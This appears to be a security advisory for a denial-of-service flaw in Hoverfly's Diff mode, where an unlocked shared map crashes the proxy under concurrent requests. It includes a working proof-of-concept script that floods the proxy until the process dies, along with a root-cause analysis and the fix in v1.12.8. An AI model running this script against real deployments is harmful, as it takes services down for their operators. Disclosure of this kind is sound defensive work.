CVE-2026-50013: Hoverfly Concurrent Map Write DoS in Diff Mode
Hoverfly's Diff mode crashes the entire proxy process when multiple requests arrive at the same time, because it writes to a shared map without any locking.
The problem
In Diff mode, every proxy request goroutine calls `AddDiff()` in `core/hoverfly_service.go` to record a comparison result. That function reads and writes the `responsesDiff` map without holding any mutex.
Go's runtime has a built-in concurrent-map detector. When two goroutines touch the same map simultaneously and at least one is writing, the runtime fires `fatal error: concurrent map read and map write`. This is unrecoverable; `recover()` cannot catch it. The whole Hoverfly process dies immediately, giving an attacker a trivial, no-auth-required denial of service.
Proof of concept
A working proof-of-concept for CVE-2026-50013 in github.com/SpectoLabs/hoverfly, with the exact payload below.
# Step 1: start Hoverfly and switch it to diff mode
./hoverfly &
sleep 2
curl -s -X PUT http://localhost:8888/api/v2/hoverfly/mode \
-H 'Content-Type: application/json' \
-d '{"mode": "diff"}'
# Load a catch-all simulation so diff comparisons actually run
curl -s -X PUT http://localhost:8888/api/v2/simulation \
-H 'Content-Type: application/json' \
-d '{
"data": {
"pairs": [{
"request": {"path": [{"matcher": "glob", "value": "*"}]},
"response": {"status": 200, "body": "expected"}
}],
"globalActions": {"delays": [], "delaysLogNormal": []}
},
"meta": {"schemaVersion": "v5.2"}
}'
# Step 2: flood the proxy port with concurrent requests
# ~50 parallel requests are enough to trigger the race
for i in $(seq 1 50); do
curl -s -x http://localhost:8500 "http://httpbin.org/get?id=$i" &
done
wait
# Step 3: confirm the process is dead
pgrep -f hoverfly || echo 'CRASHED: hoverfly is no longer running'The root cause is CWE-362 / CWE-820: `responsesDiff` is declared as a plain `map[v2.SimpleRequestDefinitionView][]v2.DiffReport` on the `Hoverfly` struct with no associated lock, while Go's `net/http` server dispatches each request in its own goroutine.
PR #1227 (v1.12.8) adds a `sync.RWMutex` (a `diffMu` field) to the struct and wraps every read and write of `responsesDiff` with `diffMu.Lock()` / `diffMu.Unlock()` calls. This is the same pattern already used by `hf.state`, which correctly guards its map with a `sync.RWMutex`.
Without the lock, concurrent calls to `AddDiff()` collide on the map and trigger the unrecoverable Go runtime fatal error.
The fix
Upgrade to Hoverfly v1.12.8 or later. The fix in PR #1227 introduces a dedicated `sync.RWMutex` that serializes all reads and writes to `responsesDiff`. No configuration change is needed after upgrading.
Related research
- high · 7.5CVE-2026-48708CVE-2026-48708: OliveTin Concurrent Template Parsing Race Condition
- high · 7.5CVE-2026-54629CVE-2026-54629: Anyquery Local File Read via Unrestricted SQLite Virtual Table Modules
- highCVE-2026-54448CVE-2026-54448: Trivy Helm Chart Tar Bomb OOM via Unbounded io.ReadAll
- highEch0: Accept-Language `_` Separator Bypass Causes ~70x CPU Amplification DoS